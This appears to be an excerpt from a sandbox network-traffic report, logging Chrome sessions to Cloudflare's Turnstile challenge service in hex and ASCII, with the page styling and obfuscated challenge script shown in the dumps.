2024-05-07 18:28:19 UTC	1369	IN	Data Raw: 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 72 3d 7b 6c 6f 61 64 65 64 41 73 79 6e 63 3a 21 31 2c 70 61 72 61 6d 73 3a 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 7d 3b 28 65 2e 61 73 79 6e 63 7c 7c 65 2e 64 65 66 65 72 29 26 26 28 72 2e 6c 6f 61 64 65 64 41 73 79 6e 63 3d 21 30 29 3b 76 61 72 20 74 3d 65 2e 73 72 63 2c 6f 3d 74 2e 73 70 6c 69 74 28 22 3f 22 29 3b 72 65 74 75 72 6e 20 6f 2e 6c 65 6e 67 74 68 3e 31 26 26 28 72 2e 70 61 72 61 6d 73 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6f 5b 31 5d 29 29 2c 72 7d 66 75 6e 63 74 69 6f 6e 20 44 28 29 7b Data Ascii: nd Turnstile script tag, some features may not be available",43777);var r={loadedAsync:!1,params:new URLSearchParams};(e.async\|\|e.defer)&&(r.loadedAsync=!0);var t=e.src,o=t.split("?");return o.length>1&&(r.params=new URLSearchParams(o[1])),r}function D(){
2024-05-07 18:28:19 UTC	1369	IN	Data Raw: 30 70 78 22 2c 79 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 61 62 73 6f 6c 75 74 65 22 2c 79 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 32 30 22 2c 79 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 57 69 64 74 68 3d 22 31 70 78 22 2c 79 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 43 6f 6c 6f 72 3d 22 23 30 30 30 22 2c 79 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 53 74 79 6c 65 3d 22 73 6f 6c 69 64 22 2c 79 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 79 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 31 30 70 78 22 2c 79 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 2d 31 32 32 70 78 22 2c 79 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 2d 39 31 70 78 22 2c 79 2e 73 74 79 6c 65 2e Data Ascii: 0px",y.style.position="absolute",y.style.zIndex="21474836420",y.style.borderWidth="1px",y.style.borderColor="#000",y.style.borderStyle="solid",y.style.backgroundColor="#ffffff",y.style.borderRadius="10px",y.style.left="-122px",y.style.top="-91px",y.style.
2024-05-07 18:28:19 UTC	1369	IN	Data Raw: 29 3b 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 72 6f 6b 65 2d 77 69 64 74 68 22 2c 22 33 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 72 6f 6b 65 22 2c 22 23 66 66 66 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 66 69 6c 6c 22 2c 22 6e 6f 6e 65 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 78 31 22 2c 22 36 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 78 32 22 2c 22 31 38 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 79 31 22 2c 22 31 38 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 79 32 22 2c 22 35 22 29 2c 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 29 3b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 4e 53 28 22 68 74 74 70 3a Data Ascii: );c.setAttribute("stroke-width","3"),c.setAttribute("stroke","#fff"),c.setAttribute("fill","none"),c.setAttribute("x1","6"),c.setAttribute("x2","18"),c.setAttribute("y1","18"),c.setAttribute("y2","5"),i.appendChild(c);var a=document.createElementNS("http:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49748	104.17.3.184	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:20 UTC	786	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/152rs/0x4AAAAAAAZkgmLQjbC4655I/auto/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:20 UTC	1342	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-opener-policy: same-origin cross-origin-embedder-policy: require-corp cross-origin-resource-policy: cross-origin referrer-policy: same-origin accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA origin-agent-cluster: ?1 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
2024-05-07 18:28:20 UTC	136	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2d 70 6f 6c 69 63 79 3a 20 6a 73 2d 70 72 6f 66 69 6c 69 6e 67 0d 0a 76 61 72 79 3a 20 61 63 63 65 70 74 2d 65 6e 63 6f 64 69 6e 67 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 38 30 33 34 34 65 63 33 66 62 66 34 31 64 38 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: document-policy: js-profiling vary: accept-encoding Server: cloudflare CF-RAY: 880344ec3fbf41d8-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:28:20 UTC	1260	IN	Data Raw: 34 65 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c Data Ascii: 4ec4 <!DOCTYPE HTML> <html lang="en-US"> <head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scal
2024-05-07 18:28:20 UTC	1369	IN	Data Raw: 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 0a 62 6f 64 79 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 Data Ascii: { margin: 0; padding: 0; width: 100%; height: 100%; overflow: hidden; } body { margin: 0; background-color: #fff; padding: 0; width: 100%; height: 100%; overflow: hidden; line-height: 17px; color: #1d1f20; font-family: -apple
2024-05-07 18:28:20 UTC	1369	IN	Data Raw: 77 69 64 74 68 3a 20 36 70 78 3b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 66 38 66 38 66 38 3b 0a 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 7d 0a 0a 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 38 70 78 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 33 38 31 32 37 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 30 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 35 35 2c 20 30 Data Ascii: width: 6px; stroke: #f8f8f8; stroke-miterlimit: 10; } #success-icon { display: flex; margin-right: 8px; border-radius: 50%; box-shadow: inset 0 0 0 #038127; width: 30px; height: 30px; animation: scale-up-center 0.6s cubic-bezier(0.55, 0
2024-05-07 18:28:20 UTC	1369	IN	Data Raw: 3a 61 63 74 69 76 65 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 66 6f 63 75 73 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 Data Ascii: :active, .theme-dark #challenge-overlay a:focus, .theme-dark #challenge-error-text a:hover, .theme-dark #challenge-error-text a:active, .theme-dark #challenge-error-text a:focus { color: #949494; } .theme-dark .ctp-checkbox-label .mark { border: 2px s
2024-05-07 18:28:20 UTC	1369	IN	Data Raw: 65 72 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 65 72 6d 73 20 61 3a 61 63 74 69 76 65 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 65 72 6d 73 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 71 72 20 7b 0a 20 20 66 69 6c 6c 3a 20 72 67 62 28 32 34 33 2c 20 31 32 38 2c 20 33 32 29 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 Data Ascii: er, .theme-dark #terms a:active, .theme-dark #terms a:focus { color: #949494; } .theme-dark #content { border-color: #666; background-color: #222; } .theme-dark #qr { fill: rgb(243, 128, 32); } .theme-dark .logo-text { fill: #fff; } .theme-dark
2024-05-07 18:28:20 UTC	1369	IN	Data Raw: 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 38 70 78 3b 0a 7d 0a 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 61 66 61 66 61 3b 0a 7d 0a 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 30 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 64 65 31 33 30 33 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 70 78 3b 0a 7d 0a 23 63 68 61 6c 6c Data Ascii: { margin: 0 8px; } #challenge-overlay { position: absolute; top: 0; z-index: 9999; background-color: #fafafa; } #challenge-overlay, #challenge-error-text { text-align: center; line-height: 10px; color: #de1303; font-size: 9px; } #chall
2024-05-07 18:28:20 UTC	1369	IN	Data Raw: 69 74 79 3a 20 30 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 77 69 64 74 68 3a 20 32 34 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 61 63 74 69 76 65 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 61 63 74 69 76 65 20 7e 20 73 70 61 6e 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 Data Ascii: ity: 0; z-index: 9999; cursor: pointer; width: 24px; height: 24px; } .ctp-checkbox-label input:active ~ .mark { border: 2px solid #c44d0e; } .ctp-checkbox-label input:active ~ span.ctp-label { text-decoration: underline; } .ctp-checkbox-label
2024-05-07 18:28:20 UTC	1369	IN	Data Raw: 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 0a 20 20 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 20 63 65 6e 74 65 72 3b 0a 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 31 38 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 33 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6c 6f 67 6f 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f Data Ascii: olumn nowrap; place-content: center center; align-items: center; height: 118px; } .size-compact .link-spacer { margin-right: 3px; margin-left: 3px; } .size-compact .ctp-checkbox-container { text-align: left; } .size-compact #logo { margin-to
2024-05-07 18:28:20 UTC	1369	IN	Data Raw: 6f 6e 20 7b 0a 20 20 6c 65 66 74 3a 20 32 35 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 70 78 3b 0a 7d 0a 2e 72 74 6c 20 23 66 61 69 6c 2d 69 63 6f 6e 20 7b 0a 20 20 6c 65 66 74 3a 20 32 35 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 70 78 3b 0a 7d 0a 2e 72 74 6c 20 23 73 70 69 6e 6e 65 72 2d 69 63 6f 6e 20 7b 0a 20 20 6c 65 66 74 3a 20 32 35 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 70 78 3b 0a 7d 0a 2e 72 74 6c 20 23 74 69 6d 65 6f 75 74 2d 69 63 6f 6e 2c 0a 2e 72 74 6c 20 23 65 78 70 69 72 65 64 2d 69 63 6f 6e 20 7b 0a 20 20 6c 65 66 74 3a 20 32 35 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 70 78 3b 0a 7d 0a 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 20 7b 0a 20 20 6d 61 72 Data Ascii: on { left: 255px; margin-left: 8px; } .rtl #fail-icon { left: 255px; margin-left: 8px; } .rtl #spinner-icon { left: 255px; margin-left: 8px; } .rtl #timeout-icon, .rtl #expired-icon { left: 255px; margin-left: 8px; } .rtl #branding { mar

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49749	104.17.3.184	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:20 UTC	710	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=880344ec3fbf41d8 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/152rs/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:21 UTC	358	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:21 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 vary: accept-encoding Server: cloudflare CF-RAY: 880344ef6ac08c75-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:28:21 UTC	1011	IN	Data Raw: 34 34 66 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 78 2c 66 45 2c 66 46 2c 66 4a 2c 66 4c 2c 66 4d 2c 66 4e 2c 66 4f 2c 66 50 2c 66 51 2c 66 52 2c 66 53 2c 66 54 2c 66 55 2c 66 56 2c 66 57 2c 66 58 2c 66 59 2c 66 5a 2c 67 30 2c 67 31 2c 67 32 2c 67 33 2c 67 34 2c 67 35 2c 67 36 2c 67 37 2c 67 38 2c 67 39 2c 67 61 2c 67 62 2c 67 63 2c 67 64 2c 67 65 2c 67 66 2c 67 67 2c 67 68 2c 67 69 2c 67 6a 2c 67 6b 2c 67 6c 2c 67 6d 2c 67 6e 2c 67 6f 2c 67 70 2c 67 71 2c 67 72 2c 67 73 2c 67 74 2c 67 75 2c 67 76 2c 67 77 2c 67 78 2c 67 79 2c 67 7a 2c 67 41 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 48 2c 67 54 2c 68 36 2c 68 62 2c 68 63 2c 68 64 2c 68 70 2c 68 41 2c 68 45 2c 68 Data Ascii: 44f window._cf_chl_opt.uaO=false;~function(ix,fE,fF,fJ,fL,fM,fN,fO,fP,fQ,fR,fS,fT,fU,fV,fW,fX,fY,fZ,g0,g1,g2,g3,g4,g5,g6,g7,g8,g9,ga,gb,gc,gd,ge,gf,gg,gh,gi,gj,gk,gl,gm,gn,go,gp,gq,gr,gs,gt,gu,gv,gw,gx,gy,gz,gA,gB,gC,gD,gE,gF,gH,gT,h6,hb,hc,hd,hp,hA,hE,h
2024-05-07 18:28:21 UTC	99	IN	Data Raw: 56 27 3a 66 45 5b 69 7a 28 35 35 36 29 5d 5b 69 7a 28 32 38 32 29 5d 7d 2c 27 2a 27 29 29 7d 2c 64 29 7d 2c 66 45 5b 69 78 28 32 31 35 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 2c 69 41 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c 42 29 7b 6a 3d 28 69 41 3d 69 78 2c 0d 0a Data Ascii: V':fE[iz(556)][iz(282)]},'*'))},d)},fE[ix(2158)]=function(f,g,h,iA,i,j,k,l,m,n,o,s,x,B){j=(iA=ix,
2024-05-07 18:28:21 UTC	1369	IN	Data Raw: 32 32 61 33 0d 0a 69 3d 7b 7d 2c 69 5b 69 41 28 39 37 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 69 5b 69 41 28 31 34 30 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 69 5b 69 41 28 32 37 30 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 69 5b 69 41 28 31 34 38 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 69 5b 69 41 28 31 38 31 31 29 5d 3d 69 41 28 31 39 38 33 29 2c 69 29 3b 74 72 79 7b 69 66 28 6b 3d 68 7c 7c 69 41 28 31 35 31 39 29 2c 6c 3d 66 45 5b 69 41 28 35 35 36 29 5d 5b 69 41 28 35 33 30 29 5d 3f 6a 5b 69 41 28 39 37 39 29 5d 28 27 68 2f 27 2b 66 45 5b 69 41 28 35 35 36 Data Ascii: 22a3 i={},i[iA(979)]=function(C,D){return C+D},i[iA(1407)]=function(C,D){return C+D},i[iA(2707)]=function(C,D){return C+D},i[iA(1483)]=function(C,D){return C+D},i[iA(1811)]=iA(1983),i);try{if(k=h\|\|iA(1519),l=fE[iA(556)][iA(530)]?j[iA(979)]('h/'+fE[iA(556
2024-05-07 18:28:21 UTC	1369	IN	Data Raw: 6a 5b 69 42 28 32 34 36 34 29 5d 2c 66 29 2c 69 42 28 31 39 30 34 29 2b 67 2c 6a 5b 69 42 28 31 31 37 37 29 5d 28 69 42 28 31 38 38 37 29 2c 4a 53 4f 4e 5b 69 42 28 33 31 33 29 5d 28 68 29 29 5d 5b 69 42 28 34 32 33 29 5d 28 69 42 28 32 38 38 31 29 29 2c 66 45 5b 69 42 28 39 32 32 29 5d 28 66 75 6e 63 74 69 6f 6e 28 69 44 2c 6f 29 7b 28 69 44 3d 69 42 2c 6a 5b 69 44 28 31 30 39 39 29 5d 21 3d 3d 6a 5b 69 44 28 31 30 39 39 29 5d 29 3f 69 3d 28 6f 3d 27 6a 27 2c 6a 5b 69 44 28 34 37 39 29 5d 28 67 5b 69 44 28 35 35 36 29 5d 5b 69 44 28 33 30 31 36 29 5d 2c 69 44 28 32 36 30 32 29 29 3f 6f 3d 27 6c 27 3a 6a 5b 69 44 28 34 37 39 29 5d 28 68 5b 69 44 28 35 35 36 29 5d 5b 69 44 28 33 30 31 36 29 5d 2c 6a 5b 69 44 28 35 32 32 29 5d 29 26 26 28 6f 3d 27 6d 27 29 Data Ascii: j[iB(2464)],f),iB(1904)+g,j[iB(1177)](iB(1887),JSON[iB(313)](h))][iB(423)](iB(2881)),fE[iB(922)](function(iD,o){(iD=iB,j[iD(1099)]!==j[iD(1099)])?i=(o='j',j[iD(479)](g[iD(556)][iD(3016)],iD(2602))?o='l':j[iD(479)](h[iD(556)][iD(3016)],j[iD(522)])&&(o='m')
2024-05-07 18:28:21 UTC	1369	IN	Data Raw: 35 34 37 29 2c 66 4d 3d 7b 7d 2c 66 4d 5b 69 78 28 31 31 31 33 29 5d 3d 69 78 28 32 35 30 36 29 2c 66 4d 5b 69 78 28 32 38 31 29 5d 3d 69 78 28 36 38 34 29 2c 66 4d 5b 69 78 28 32 39 34 30 29 5d 3d 69 78 28 32 38 32 30 29 2c 66 4d 5b 69 78 28 32 34 36 39 29 5d 3d 69 78 28 33 30 31 31 29 2c 66 4d 5b 69 78 28 32 35 30 32 29 5d 3d 69 78 28 32 30 38 32 29 2c 66 4d 5b 69 78 28 31 31 32 31 29 5d 3d 69 78 28 32 36 34 35 29 2c 66 4d 5b 69 78 28 32 37 34 29 5d 3d 69 78 28 34 35 32 29 2c 66 4d 5b 69 78 28 32 31 35 35 29 5d 3d 69 78 28 32 30 36 32 29 2c 66 4d 5b 69 78 28 31 34 34 30 29 5d 3d 69 78 28 31 34 37 31 29 2c 66 4d 5b 69 78 28 36 33 38 29 5d 3d 69 78 28 32 39 37 34 29 2c 66 4d 5b 69 78 28 32 33 32 34 29 5d 3d 69 78 28 31 35 35 39 29 2c 66 4d 5b 69 78 28 32 Data Ascii: 